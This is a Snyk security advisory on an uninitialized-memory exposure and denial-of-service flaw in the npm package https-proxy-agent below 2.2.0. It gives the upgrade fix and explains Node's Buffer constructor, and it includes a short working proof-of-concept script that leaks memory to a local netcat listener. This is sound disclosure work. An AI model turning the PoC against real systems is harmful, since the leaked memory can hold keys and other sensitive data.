Uninitialized Memory Exposure Affecting https-proxy-agent package, versions <2.2.0
Threat Intelligence
Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDnpm:https-proxy-agent:20180402
- published8 Apr 2018
- disclosed2 Apr 2018
- creditChALkeR
Introduced: 2 Apr 2018
CVE-2018-3739 (opens in a new tab)How to fix?
Upgrade https-proxy-agent to version 2.2.0 or higher.
Note This is vulnerable only for Node <=4
Overview
https-proxy-agent provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure and Denial of Service (DoS) attacks due to passing unsanitized options to Buffer(arg).
Note: CVE-2018-3739 is a duplicate of CVE-2018-3736.
Uninitialized memory Exposre PoC by ChALKer
// listen with: nc -l -p 8080
var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');
var proxy = {
protocol: 'http:',
host: "127.0.0.1",
port: 8080
};
proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.